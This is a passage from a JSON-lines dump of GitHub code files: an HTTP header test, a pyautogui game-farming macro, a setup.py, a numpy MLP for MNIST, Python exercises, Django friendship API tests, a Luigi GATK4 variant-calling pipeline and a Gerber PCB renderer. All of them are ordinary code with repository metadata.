b'filename*=UTF-8\\'\\'L%C3%A9%C3%ABr%C5%93%C3%B8y%20%20Jenkins%20%20My%20Man%20.pdf')\n self.assertEqual(create_content_disposition('Léërœøy \\\\Jenkins/\"My Man\".pdf', attachment=False), expected)\n","repo_name":"climapulse/dj-bgfiles","sub_path":"tests/test_http.py","file_name":"test_http.py","file_ext":"py","file_size_in_byte":1483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"32665701217","text":"import pyautogui as pyg\r\nimport time as t\r\nimport keyboard\r\nimport numpy as n\r\nimport random as rand\r\nimport win32api, win32con\r\nimport smtplib\r\nimport os\r\n\r\nimport mouse\r\nimport values\r\nimport responce\r\nimport screendetector\r\nimport commands\r\n\r\n#Base Sneaking Speed: 4.3 Blocks\r\n#Base Walking Speed: 1.3 Blocks\r\n#Base Sprinting Speed: 5.6 Blocks\r\n\r\n#Upgraded Sneaking Speed: 4.64400 Blocks\r\n#Upgraded Walking Speed: 1.40400 Blocks\r\n#Upgraded Sprinting Speed: 6.04800 Blocks\r\n\r\nSpeed = 4.644\r\nForward_Blocks = 6\r\nSideways_Blocks = 160\r\n\r\ndef move_up():\r\n screendetector.detect()\r\n select_hoe()\r\n print(\"walking forward...\")\r\n pyg.keyDown('w')\r\n t.sleep(Forward_Blocks / Speed)\r\n pyg.keyUp('w')\r\n commands.setspawn()\r\n screendetector.detect()\r\n\r\ndef move_left():\r\n screendetector.detect()\r\n select_hoe()\r\n print(\"walking to the left...\")\r\n mouse.hold_down()\r\n pyg.keyDown('a')\r\n t.sleep(Sideways_Blocks / Speed)\r\n pyg.keyUp('a')\r\n mouse.release()\r\n values.row_count += 1\r\n responce.printlist()\r\n screendetector.detect()\r\n\r\ndef move_right():\r\n screendetector.detect()\r\n select_hoe()\r\n mouse.hold_down()\r\n print(\"walking to the right...\")\r\n pyg.keyDown('d')\r\n t.sleep(Sideways_Blocks / Speed)\r\n pyg.keyUp('d')\r\n mouse.release()\r\n values.row_count += 1\r\n responce.printlist()\r\n screendetector.detect()\r\n\r\ndef select_hoe():\r\n pyg.press('1')","repo_name":"vicellon/pywizardmoneygang","sub_path":"wizardmoneygang python/movement.py","file_name":"movement.py","file_ext":"py","file_size_in_byte":1476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"37966182135","text":"import re\nfrom pathlib import Path\n\nimport setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\n\ndef get_version(prop, project):\n project = Path(__file__).parent / project / \"__init__.py\"\n result = re.search(\n r'{}\\s*=\\s*[\\'\"]([^\\'\"]*)[\\'\"]'.format(prop), project.read_text()\n )\n return result.group(1)\n\n\nsetuptools.setup(\n name=\"pedurma\", # Replace with your own username\n version=get_version(\"__version__\", \"pedurma\"),\n author=\"Ngawang Thrinley, Tenzin, Tenzin Kaldan\",\n author_email=\"esukhiadev@gmail.com\",\n description=\"Pedurma Reconstruction functionalities\",\n py_modules=[\"pedurma\"],\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n license=\"Apache2\",\n url=\"https://github.com/Esukhia/pedurma\",\n packages=setuptools.find_packages(),\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ],\n install_requires=[\n \"antx>=0.1.8, <1.0\",\n \"openpecha[transifex]>=0.7.58, <1.0\",\n \"pypandoc>=1.7.2, <2.0\",\n \"pylibyaml>=0.1.0, <1.0\",\n \"python-docx>=0.8.11, <9.0\",\n ],\n python_requires=\">=3.8\",\n tests_require=[\"pytest\"],\n)\n","repo_name":"Esukhia/pedurma","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"33576279848","text":"import numpy as np\nimport random\nimport struct\nimport pickle\nfrom batchnorm import BatchNorm\nimport math\n\n\ndef load_mnist_data(kind):\n '''\n 加载数据集\n :param kind: 加载训练数据还是测试数据\n :return: 打平之后的数据和one hot编码的标签\n '''\n labels_path = '../data/%s-labels-idx1-ubyte' % kind\n images_path = '../data/%s-images-idx3-ubyte' % kind\n with open(labels_path, 'rb') as lbpath:\n struct.unpack('>II', lbpath.read(8))\n labels = np.fromfile(lbpath, dtype=np.uint8)\n with open(images_path, 'rb') as imgpath:\n struct.unpack('>IIII', imgpath.read(16))\n images = np.fromfile(imgpath, dtype=np.uint8).reshape(len(labels), 784)\n\n return images / 255., np.eye(10)[labels]\n\n\ndef sigmoid(z):\n '''\n sigmoid激活函数\n :param z: 神经网络的输出\n :return: z激活之后的值\n '''\n return 1.0 / (1.0 + np.exp(-z))\n\n\ndef sigmoid_prime(z):\n '''\n sigmoid激活函数的导数\n :param z: 神经网络的输出\n :return: 关于z的导数\n '''\n return sigmoid(z) * (1 - sigmoid(z))\n\n\ndef relu(z):\n '''\n relu激活函数\n :param z: 神经网络的输出\n :return: z激活之后的值\n '''\n return np.maximum(0, z)\n\n\ndef relu_prime(z):\n '''\n relu激活函数的导数\n :param z: 神经网络的输出\n :return: 关于z的导数\n '''\n z_ = np.copy(z)\n z_[z > 0] = 1\n z_[z < 0] = 0\n z_[z == 0] = 0.5\n return z_\n\n\ndef leaky_relu(z):\n '''\n leaky relu激活函数\n :param z: 神经网络的输出\n :return: z激活之后的值\n '''\n return np.where(z > 0, z, z * 0.01)\n\n\ndef leaky_relu_prime(z):\n '''\n leaky relu激活函数的导数\n :param z: 神经网络的输出\n :return: 关于z的导数\n '''\n z_ = np.copy(z)\n z_[z > 0] = 1\n z_[z < 0] = 0.01\n z_[z == 0] = 0.5\n return z_\n\n\ndef mean_squared_loss(z, y_true):\n \"\"\"\n 均方误差损失函数\n :param y_predict: 预测值,shape (N,d)，N为批量样本数\n :param y_true: 真实值\n :return:\n \"\"\"\n # y_predict = sigmoid(z)\n # y_predict = relu(z)\n y_predict = leaky_relu(z)\n loss = np.mean(np.mean(np.square(y_predict - y_true), axis=-1)) # 损失函数值\n # dy = 2 * (y_predict - y_true) * sigmoid_prime(z) / y_true.shape[1] # 损失函数关于网络输出的梯度\n # dy = 2 * (y_predict - y_true) * relu_prime(z) / y_true.shape[1]\n dy = 2 * (y_predict - y_true) * leaky_relu_prime(z) / y_true.shape[1]\n return loss, dy\n\n\ndef cross_entropy_loss(y_predict, y_true):\n \"\"\"\n 交叉熵损失函数\n :param y_predict: 预测值,shape (N,d)，N为批量样本数\n :param y_true: 真实值,shape(N,d)\n :return:\n \"\"\"\n y_exp = np.exp(y_predict)\n y_probability = y_exp / np.sum(y_exp, axis=-1, keepdims=True)\n loss = np.mean(np.sum(-y_true * np.log(y_probability), axis=-1)) # 损失函数\n dy = y_probability - y_true\n return loss, dy\n\n\nclass MLP_Net:\n def __init__(self, sizes, loss_type='mse'):\n self.sizes = sizes\n self.num_layers = len(sizes)\n weights_scale = 0.01\n self.weights = [np.random.randn(ch1, ch2) * weights_scale for ch1, ch2 in zip(sizes[:-1], sizes[1:])]\n self.biases = [np.random.randn(1, ch) * weights_scale for ch in sizes[1:]]\n # self.weights = [np.zeros((ch1, ch2)) * weights_scale for ch1, ch2 in zip(sizes[:-1], sizes[1:])]\n # self.biases = [np.zeros((1, ch)) * weights_scale for ch in sizes[1:]]\n # with open('../weights.pkl', 'rb') as f:\n # weights = pickle.load(f)\n # with open('../biases.pkl', 'rb') as f:\n # biases = pickle.load(f)\n # self.weights = [w.T for w in weights]\n # self.biases = [b.T for b in biases]\n self.X = None\n self.Z = None\n\n self.loss_type = loss_type\n self.drop_ratio = 1\n self.normalise = False\n self.dropout_X = None\n self.training = True\n\n self.norm_layers = [BatchNorm(shape=784, requires_grad=False, affine=False)]\n for size in self.sizes[1: -1]:\n self.norm_layers.append(BatchNorm(size))\n\n def forward(self, x):\n if self.normalise is True:\n x = self.norm_layers[0].forward(x)\n self.X = [x]\n self.dropout_X = []\n self.Z = []\n for layer_idx, (b, w) in enumerate(zip(self.biases, self.weights)):\n z = np.dot(x, w) + b\n if self.normalise is True and layer_idx < self.num_layers - 2 and self.training is True:\n # 前向过程的Batch Normalization\n self.norm_layers[layer_idx + 1].is_test = not self.training\n z = self.norm_layers[layer_idx + 1].forward(z)\n\n if self.drop_ratio != 1 and self.training is True:\n # 前向过程的dropout\n self.dropout_X.append(np.random.rand(z.shape[0], z.shape[1]) <= self.drop_ratio)\n z *= self.dropout_X[-1]\n z /= self.drop_ratio\n # x = sigmoid(z)\n # x = relu(z)\n x = leaky_relu(z)\n self.X.append(x)\n self.Z.append(z)\n return self.X[-1]\n\n def backward(self, y):\n dw = [np.zeros(w.shape) for w in self.weights]\n db = [np.zeros(b.shape) for b in self.biases]\n if self.loss_type == 'mse':\n loss, delta = mean_squared_loss(self.Z[-1], y)\n else:\n loss, delta = cross_entropy_loss(self.Z[-1], y)\n batch_size = len(y)\n for l in range(self.num_layers - 2, -1, -1):\n x = self.X[l]\n\n if self.drop_ratio != 1 and self.training is True:\n # 反向过程的dropout\n delta *= self.dropout_X[l]\n delta /= self.drop_ratio\n db[l] = np.sum(delta, axis=0) / (batch_size)\n dw[l] = np.dot(x.T, delta) / batch_size\n\n if l > 0:\n # delta = np.dot(delta, self.weights[l].T) * sigmoid_prime(self.Z[l - 1])\n # delta = np.dot(delta, self.weights[l].T) * relu_prime(self.Z[l - 1])\n delta = np.dot(delta, self.weights[l].T) * leaky_relu_prime(self.Z[l - 1])\n if self.normalise is True and self.training is True:\n # 后向过程的Batch Normalization\n self.norm_layers[l].backward(delta)\n return dw, db\n\n def update_para(self, dw, db, lr, l1=0, l2=0):\n if l1 != 0:\n # L1范数正则化\n self.weights = [w - lr * (nabla + l1 * np.sign(w)) for w, nabla in zip(self.weights, dw)]\n self.biases = [b - lr * nabla for b, nabla in zip(self.biases, db)]\n elif l2 != 0:\n # L2范数正则化\n self.weights = [w - lr * (nabla + l2 * w) for w, nabla in zip(self.weights, dw)]\n self.biases = [b - lr * nabla for b, nabla in zip(self.biases, db)]\n else:\n # 不进行正则化\n self.weights = [w - lr * nabla for w, nabla in zip(self.weights, dw)]\n self.biases = [b - lr * nabla for b, nabla in zip(self.biases, db)]\n\n\ndef plot_trainning(order1, order2, img_name):\n '''\n 画出训练过程的对比图\n :param order1: 第一种网络结构\n :param order2: 第二种网络结构\n :param img_name: 图片名称\n :return:\n '''\n with open(order1, 'rb') as f1, open(order2, 'rb') as f2:\n accs1 = pickle.load(f1)\n accs2 = pickle.load(f2)\n\n import matplotlib.pyplot as plt\n plt.figure()\n # x = [str(i) for i in range(1, len(accs1) + 1)]\n x = [i for i in range(1, len(accs1) + 1)]\n plt.plot(x, accs1, label=order1)\n plt.plot(x, accs2, label=order2)\n plt.legend()\n # plt.ylim((0, 1))\n plt.xlabel('Epochs')\n plt.ylabel('Accuracy')\n plt.savefig(img_name)\n\n\ndef plot_single_training(order, img_name='best_acc.png'):\n '''\n 画出最优参数下的训练过程\n :param order:\n :param img_name:\n :return:\n '''\n with open(order, 'rb') as f1:\n accs = pickle.load(f1)\n import matplotlib.pyplot as plt\n plt.figure()\n x = [i for i in range(1, len(accs) + 1)]\n plt.plot(x, accs)\n # plt.legend()\n # plt.ylim((0, 1))\n plt.xlabel('Epochs')\n plt.ylabel('Accuracy')\n plt.savefig(img_name)\n\n\ndef train(net, train_images, train_labels, test_images, test_labels, epochs=1000, lr=0.1, l2=0, batch_size=128, l1=0, orders='first', gamma=1, step_size=0):\n lr0 = lr\n n_test = len(test_labels)\n n = len(train_images)\n accs = []\n for epoch in range(epochs):\n net.training = True\n for batch_index in range(0, n, batch_size):\n lower_range = batch_index\n upper_range = batch_index + batch_size\n if upper_range > n:\n upper_range = n\n train_x = train_images[lower_range: upper_range, :]\n train_y = train_labels[lower_range: upper_range]\n net.forward(train_x)\n dw, db = net.backward(train_y)\n net.update_para(dw, db, lr, l1=l1, l2=l2)\n print(lr, end='\\t')\n if step_size != 0:\n # 阶梯式衰减\n if (epoch + 1) % step_size == 0:\n lr *= gamma\n elif gamma != 1:\n # 指数衰减\n lr = math.pow(gamma, epoch) * lr0\n acc = evaluate(net, test_images, test_labels)\n accs.append(acc / 10000.0)\n print('Epoch {0}: {1} / {2}'.format(epoch, acc / 10000.0, n_test))\n with open(orders, 'wb') as f:\n pickle.dump(accs, f)\n plot_single_training(orders)\n # plot_trainning(accs)\n\n\ndef evaluate(net, test_images, test_labels):\n net.training = False\n result = []\n n = len(test_images)\n for batch_indx in range(0, n, 128):\n lower_range = batch_indx\n upper_range = batch_indx + 128\n if upper_range > n:\n upper_range = n\n test_x = test_images[lower_range: upper_range, :]\n result.extend(np.argmax(net.forward(test_x), axis=1))\n correct = sum(int(pred == y) for pred, y in zip(result, test_labels))\n return correct\n\n\ndef main():\n train_images, train_labels = load_mnist_data(kind='train')\n test_images, test_labels = load_mnist_data('t10k')\n test_labels = np.argmax(test_labels, axis=1)\n net = MLP_Net([784, 1024, 64, 10], 'ce')\n orders1 = 'no_regular'\n train(net, train_images, train_labels, test_images, test_labels, epochs=100, orders=orders1, batch_size=64, lr=0.3, gamma=0.5, step_size=30)\n\n\nif __name__ == '__main__':\n np.random.seed(1)\n main()\n\n","repo_name":"wangsenouc/homework","sub_path":"numpy手写神经网络/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10546,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"44"} +{"seq_id":"31633029140","text":"from filaTAD import Fila\n\ndef filaCres(fila1,fila2):\n fila3 = Fila()\n \n while not fila1.vazia() and not fila2.vazia():\n if fila1.cabeca.dado <= fila2.cabeca.dado:\n fila3.insere(fila1.remove())\n elif fila2.cabeca.dado < fila1.cabeca.dado:\n fila3.insere(fila2.remove())\n \n while (not fila1.vazia()):\n fila3.insere(fila1.remove())\n \n while (not fila2.vazia()):\n fila3.insere(fila2.remove()) \n \n return fila3\n\nf1 = Fila()\nf2 = Fila()\n \nfor i in range(3):\n f1.insere(input('Digite um valor para a fila 1: '))\n\n \nfor i in range(3):\n f2.insere(input('Digite um valor para a fila 2: '))\n \n \nprint(f1) \nprint(f2) \nprint(f1.cabeca.dado)\nprint(filaCres(f1,f2))","repo_name":"ZeVictor15/python","sub_path":"estrutura-de-dados/fila/ex02.py","file_name":"ex02.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"15062919744","text":"while True:\n num = int(input())\n if num == -1:\n break\n\n lst = [1]\n for i in range(2, num // 2 + 1):\n if num % i == 0:\n lst.append(i)\n if sum(lst) == num:\n s = \" + \".join(map(str, lst))\n print(f\"{str(num)} = {s}\")\n else:\n print(f\"{num} is NOT perfect.\")\n","repo_name":"jonejtwojthree/CodingTest","sub_path":"baekjoon/python/약수, 배수와 소수/9506.py","file_name":"9506.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"13063453334","text":"from friendships.services import FriendshipService\nfrom gatekeeper.models import GateKeeper\nfrom rest_framework import status\nfrom rest_framework.test import APIClient\nfrom testing.testcases import TestCase\nfrom utils.paginations import EndlessPagination\n\nFOLLOW_URL = '/api/friendships/{}/follow/'\nUNFOLLOW_URL = '/api/friendships/{}/unfollow/'\nFOLLOWERS_URL = '/api/friendships/{}/followers/'\nFOLLOWINGS_URL = '/api/friendships/{}/followings/'\n\n\nclass FriendshipApiTests(TestCase):\n\n def setUp(self):\n super(FriendshipApiTests, self).setUp()\n self.alex = self.create_user(username='alex')\n self.alex_client = APIClient()\n self.alex_client.force_authenticate(self.alex)\n\n self.bob = self.create_user(username='bob')\n self.bob_client = APIClient()\n self.bob_client.force_authenticate(self.bob)\n\n # create followings and followers for bob\n for i in range(2):\n follower = self.create_user('bob_follower{}'.format(i))\n self.create_friendship(from_user=follower, to_user=self.bob)\n for i in range(3):\n following = self.create_user('bob_following{}'.format(i))\n self.create_friendship(from_user=self.bob, to_user=following)\n\n # def test_follow(self):\n # # test in mysql\n # self._test_follow()\n # self.clear_cache()\n # GateKeeper.set_kv('switch_friendship_to_hbase', 'percent', 100)\n # # test in hbase\n # self._test_follow()\n\n def test_follow(self):\n url = FOLLOW_URL.format(self.alex.id)\n\n # 验证需要登录才能 follow 别人\n response = self.anonymous_client.post(url)\n self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)\n # 验证要用 get 来 follow\n response = self.bob_client.get(url)\n self.assertEqual(response.status_code, status.HTTP_405_METHOD_NOT_ALLOWED)\n # 验证不可以 follow 自己\n response = self.alex_client.post(url)\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n # follow 成功\n response = self.bob_client.post(url)\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n # 重复 follow 静默成功\n response = self.bob_client.post(url)\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n self.assertEqual(response.data['duplicate'], True)\n # 验证反向关注会创建新的数据\n before_count = FriendshipService.get_following_count(self.alex.id)\n response = self.alex_client.post(FOLLOW_URL.format(self.bob.id))\n after_count = FriendshipService.get_following_count(self.alex.id)\n self.assertEqual(after_count, before_count + 1)\n\n def test_unfollow(self):\n url = UNFOLLOW_URL.format(self.alex.id)\n\n # 验证需要登录才能 unfollow 别人\n response = self.anonymous_client.post(url)\n self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)\n # 验证不能用 get 来 unfollow 别人\n response = self.bob_client.get(url)\n self.assertEqual(response.status_code, status.HTTP_405_METHOD_NOT_ALLOWED)\n # 验证不能用 unfollow 自己\n response = self.alex_client.post(url)\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n\n # unfollow 成功\n self.create_friendship(from_user=self.bob, to_user=self.alex)\n before_count = FriendshipService.get_following_count(self.bob.id)\n response = self.bob_client.post(url)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(response.data['deleted'], 1)\n after_count = FriendshipService.get_following_count(self.bob.id)\n self.assertEqual(after_count, before_count - 1)\n\n # 验证未 follow 的情况下 unfollow 静默处理\n before_count = FriendshipService.get_following_count(self.bob.id)\n response = self.bob_client.post(url)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(response.data['deleted'], 0) # 未删掉任何数据\n after_count = FriendshipService.get_following_count(self.bob.id)\n self.assertEqual(before_count, after_count)\n\n def test_followings(self):\n url = FOLLOWINGS_URL.format(self.bob.id)\n # 验证不能用 post\n response = self.anonymous_client.post(url)\n self.assertEqual(response.status_code, status.HTTP_405_METHOD_NOT_ALLOWED)\n # 用 get 成功获取\n response = self.anonymous_client.get(url)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(len(response.data['results']), 3)\n # 验证按照时间倒序\n ts0 = response.data['results'][0]['created_at']\n ts1 = response.data['results'][1]['created_at']\n ts2 = response.data['results'][2]['created_at']\n self.assertEqual(ts0 > ts1, True)\n self.assertEqual(ts1 > ts2, True)\n self.assertEqual(\n response.data['results'][0]['user']['username'],\n 'bob_following2',\n )\n self.assertEqual(\n response.data['results'][1]['user']['username'],\n 'bob_following1',\n )\n self.assertEqual(\n response.data['results'][2]['user']['username'],\n 'bob_following0',\n )\n\n def test_followers(self):\n url = FOLLOWERS_URL.format(self.bob.id)\n # 验证不能用 post\n response = self.anonymous_client.post(url)\n self.assertEqual(response.status_code, status.HTTP_405_METHOD_NOT_ALLOWED)\n # 用 get 成功获取\n response = self.anonymous_client.get(url)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(len(response.data['results']), 2)\n # 验证按照时间倒序\n ts0 = response.data['results'][0]['created_at']\n ts1 = response.data['results'][1]['created_at']\n self.assertEqual(ts0 > ts1, True)\n self.assertEqual(\n response.data['results'][0]['user']['username'],\n 'bob_follower1',\n )\n self.assertEqual(\n response.data['results'][1]['user']['username'],\n 'bob_follower0',\n )\n\n def test_followers_pagination(self):\n page_size = EndlessPagination.page_size\n friendships = []\n for i in range(page_size * 2):\n follower = self.create_user('alex_follower{}'.format(i))\n friendship = self.create_friendship(from_user=follower, to_user=self.alex)\n friendships.append(friendship)\n if follower.id % 2 == 0:\n self.create_friendship(from_user=self.bob, to_user=follower)\n\n url = FOLLOWERS_URL.format(self.alex.id)\n self._paginate_until_the_end(url, 2, friendships)\n\n # anonymous hasn't followed any users\n response = self.anonymous_client.get(url)\n for result in response.data['results']:\n self.assertEqual(result['has_followed'], False)\n\n # bob has followed users with even id\n response = self.bob_client.get(url)\n for result in response.data['results']:\n has_followed = (result['user']['id'] % 2 == 0)\n self.assertEqual(result['has_followed'], has_followed)\n\n def test_followings_pagination(self):\n page_size = EndlessPagination.page_size\n friendships = []\n for i in range(page_size * 2):\n following = self.create_user('alex_following{}'.format(i))\n friendship = self.create_friendship(from_user=self.alex, to_user=following)\n friendships.append(friendship)\n if following.id % 2 == 0:\n self.create_friendship(from_user=self.bob, to_user=following)\n\n url = FOLLOWINGS_URL.format(self.alex.id)\n self._paginate_until_the_end(url, 2, friendships)\n\n # anonymous hasn't followed any users\n response = self.anonymous_client.get(url)\n for result in response.data['results']:\n self.assertEqual(result['has_followed'], False)\n\n # bob has followed users with even id\n response = self.bob_client.get(url)\n for result in response.data['results']:\n has_followed = (result['user']['id'] % 2 == 0)\n self.assertEqual(result['has_followed'], has_followed)\n\n # alex has followed all her following users\n response = self.alex_client.get(url)\n for result in response.data['results']:\n self.assertEqual(result['has_followed'], True)\n\n # test pull new friendships\n last_created_at = friendships[-1].created_at\n response = self.alex_client.get(url, {'created_at__gt': last_created_at})\n self.assertEqual(response.status_code, 200)\n self.assertEqual(len(response.data['results']), 0)\n\n new_friends = [self.create_user('big_v{}'.format(i)) for i in range(3)]\n new_friendships = []\n for friend in new_friends:\n new_friendships.append(self.create_friendship(from_user=self.alex, to_user=friend))\n response = self.alex_client.get(url, {'created_at__gt': last_created_at})\n self.assertEqual(len(response.data['results']), 3)\n for result, friendship in zip(response.data['results'], reversed(new_friendships)):\n self.assertEqual(result['created_at'], friendship.created_at)\n\n def _paginate_until_the_end(self, url, expect_pages, friendships):\n results, pages = [], 0\n # 默认的第一页\n response = self.anonymous_client.get(url)\n results.extend(response.data['results'])\n\n pages += 1\n while response.data['has_next_page']:\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n # 根据前一页的最后一个 item 的 created_at 作为下一页的范围\n last_item = response.data['results'][-1]\n response = self.anonymous_client.get(url, {\n 'created_at__lt': last_item['created_at'],\n })\n results.extend(response.data['results'])\n pages += 1\n\n self.assertEqual(len(results), len(friendships))\n self.assertEqual(pages, expect_pages)\n # friendship is in ascending order, results is in descending order\n for result, friendship in zip(results, friendships[::-1]):\n self.assertEqual(result['created_at'], friendship.created_at)","repo_name":"TwistedAlex/django-twitterme","sub_path":"friendships/api/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":10436,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"44"} +{"seq_id":"40241793189","text":"###############################################################################################\n### Target (Amplicon) sequencing of human exome, germline sample \n### @GPZ-bioinfo, 20190525\n###############################################################################################\n\nimport luigi\n\nfrom luigi_pipelines import config, run_cmd, valid_path\nfrom luigi_pipelines.GermlinePipelines import HaplotypeCaller, SelectVariants, VariantFiltration, CombineVariants\nfrom luigi_pipelines.share_luigi_tasks import Annovar1, Annovar2\nfrom luigi_pipelines.share_luigi_tasks.gatk4 import PrintReads\n\n\n#########7\n\nclass HaplotypeCaller(HaplotypeCaller):\n def requires(self):\n return PrintReads(infodict=self.infodict, dry_run=self.dry_run)\n\n def run(self):\n valid_path(self.output().path, check_ofile=1)\n\n if config.bed_file_path != '':\n extra_str = \" --intervals {}\".format(config.bed_file_path)\n else:\n extra_str = \"\"\n cmdline = \"{gatk4} HaplotypeCaller --java-options '-Xmx30g' --native-pair-hmm-threads 30 --reference {ref} --input {input} --genotyping-mode DISCOVERY --dbsnp {dbsnp} -stand-call-conf 10 -A Coverage -A DepthPerAlleleBySample -A FisherStrand -A BaseQuality -A QualByDepth -A RMSMappingQuality -A MappingQualityRankSumTest -A ReadPosRankSumTest -A ChromosomeCounts --all-site-pls true --output {output} {extra_str}\".format(\n ref=config.REF_file_path,\n input=self.input().path,\n dbsnp=config.db_snp,\n output=self.output().path,\n extra_str=extra_str,\n gatk4=config.gatk_pro)\n run_cmd(cmdline, dry_run=self.dry_run, log_file=self.get_log_path())\n\n\n#########9\nclass SelectVariants(SelectVariants):\n\n def requires(self):\n return HaplotypeCaller(infodict=self.infodict,\n dry_run=self.dry_run)\n\n def run(self):\n valid_path(self.output().path, check_ofile=1)\n if self.object_type == \"snp\":\n selecttype = \"SNP\"\n elif self.object_type == \"indel\":\n selecttype = \"INDEL\"\n else:\n raise Exception\n\n cmdline = \"{gatk4} SelectVariants --java-options '-Xmx4g' -R {REF} -V {input_f} -select-type {selecttype} -O {output_f}\".format(\n gatk4=config.gatk_pro,\n REF=config.REF_file_path,\n input_f=self.input().path,\n output_f=self.output().path,\n selecttype=selecttype)\n run_cmd(cmdline, dry_run=self.dry_run, log_file=self.get_log_path())\n\n\n#########10\nclass VariantFiltration(VariantFiltration):\n def requires(self):\n return SelectVariants(infodict=self.infodict,\n dry_run=self.dry_run,\n object_type=self.object_type)\n\n def run(self):\n valid_path(self.output().path, check_ofile=1)\n if self.object_type == \"snp\":\n filterExpression = \"QD < 2.0 || FS > 60.0 || MQ < 40.0 || MQRankSum < -12.5 || ReadPosRankSum < -8.0\"\n elif self.object_type == \"indel\":\n filterExpression = \"QD < 2.0 || FS > 200.0 || ReadPosRankSum < -20.0\"\n else:\n raise Exception\n\n cmdline = \"\"\"{gatk4} VariantFiltration --java-options '-Xmx4g' -R {REF} -V {input_f} --filter-expression \"{filterExpression}\" --filter-name \\\"my_{object_type}_filter\\\" -O {output_f}\"\"\".format(\n gatk4=config.gatk_pro,\n REF=config.REF_file_path,\n input_f=self.input().path,\n output_f=self.output().path,\n filterExpression=filterExpression,\n object_type=self.object_type)\n run_cmd(cmdline, dry_run=self.dry_run, log_file=self.get_log_path())\n\n\n#########13\nclass CombineVariants(CombineVariants):\n\n def requires(self):\n required_task = {ot: VariantFiltration(infodict=self.infodict,\n dry_run=self.dry_run,\n object_type=ot)\n for ot in [\"snp\", \"indel\"]}\n return required_task\n\n def run(self):\n valid_path(self.output().path, check_ofile=1)\n cmdline = \"\"\"{gatk4} MergeVcfs --java-options \"-Xmx4g\" -R {REF} --INPUT {input_indel} --INPUT {input_snp} --OUTPUT {output_f}\"\"\".format(\n gatk4=config.gatk_pro,\n REF=config.REF_file_path,\n input_indel=self.input()[\"indel\"].path,\n input_snp=self.input()[\"snp\"].path,\n output_f=self.output().path)\n run_cmd(cmdline, dry_run=self.dry_run, log_file=self.get_log_path())\n\n\nclass new_Annovar1(Annovar1):\n def requires(self):\n return CombineVariants(infodict=self.infodict,\n dry_run=self.dry_run)\n\n\nclass new_Annovar2(Annovar2):\n def requires(self):\n return [new_Annovar1(infodict=self.infodict,\n dry_run=self.dry_run)]\n\n\nif __name__ == '__main__':\n luigi.run()\n\n #\n","repo_name":"444thLiao/WES_pipelines","sub_path":"luigi_pipelines/GermlinePipelines_gatk4.py","file_name":"GermlinePipelines_gatk4.py","file_ext":"py","file_size_in_byte":4955,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"44"} +{"seq_id":"3996329685","text":"from gerber.render.cairo_backend import PCBCairoContext\nfrom gerber.render.cairo_backend import GerberCairoContext\nfrom gerber.common import read\nfrom gerber.render import theme\n\n\nclass TendrilPCBCairoContext(PCBCairoContext):\n\n outline_color = (0.0, 0.612, 0.396)\n outline_alpha = 1.0\n\n copper_color = theme.COLORS['enig copper']\n copper_alpha = 1.0\n\n mask_color = theme.COLORS['green soldermask']\n mask_alpha = 0.75\n\n silk_color = theme.COLORS['white']\n silk_alpha = 1.0\n\n drill_color = theme.COLORS['black']\n drill_alpha = 1.0\n\n layer_colors = [\n (0.804, 0.216, 0),\n (0.329, 0.545, 0.329),\n (0.545, 0.137, 0.137),\n (0.227, 0.373, 0.804),\n (0.78, 0.776, 0.251),\n (0.545, 0.451, 0.333),\n (0, 0.525, 0.545),\n (0.133, 0.545, 0.133),\n ]\n\n far_side = []\n\n def render_top_view(self, output_filename=None,\n quick=False, nox=False):\n output_filename = '{0}.top.png'.format(output_filename)\n ctx = GerberCairoContext()\n\n if self.outline_color is not None:\n ctx.color = self.outline_color\n if self.outline_alpha is not None:\n ctx.alpha = self.outline_alpha\n outline = read(self.layers.outline)\n outline.render(ctx)\n\n if self.copper_color is not None:\n ctx.color = self.copper_color\n if self.copper_alpha is not None:\n ctx.alpha = self.copper_alpha\n copper = read(self.layers.top)\n copper.render(ctx)\n\n if self.mask_color is not None:\n ctx.color = self.mask_color\n if self.mask_alpha is not None:\n ctx.alpha = self.mask_alpha\n mask = read(self.layers.topmask)\n mask.render(ctx, invert=True)\n\n if self.silk_color is not None:\n ctx.color = self.silk_color\n if self.silk_alpha is not None:\n ctx.alpha = self.silk_alpha\n silk = read(self.layers.topsilk)\n silk.render(ctx)\n\n if self.drill_color is not None:\n ctx.color = self.drill_color\n if self.drill_alpha is not None:\n ctx.alpha = self.drill_alpha\n drill = read(self.layers.drill)\n drill.render(ctx)\n\n ctx.dump(output_filename)\n\n def render_bottom_view(self, output_filename=None,\n quick=False, nox=False):\n output_filename = '{0}.bottom.png'.format(output_filename)\n ctx = GerberCairoContext()\n\n if self.outline_color is not None:\n ctx.color = self.outline_color\n if self.outline_alpha is not None:\n ctx.alpha = 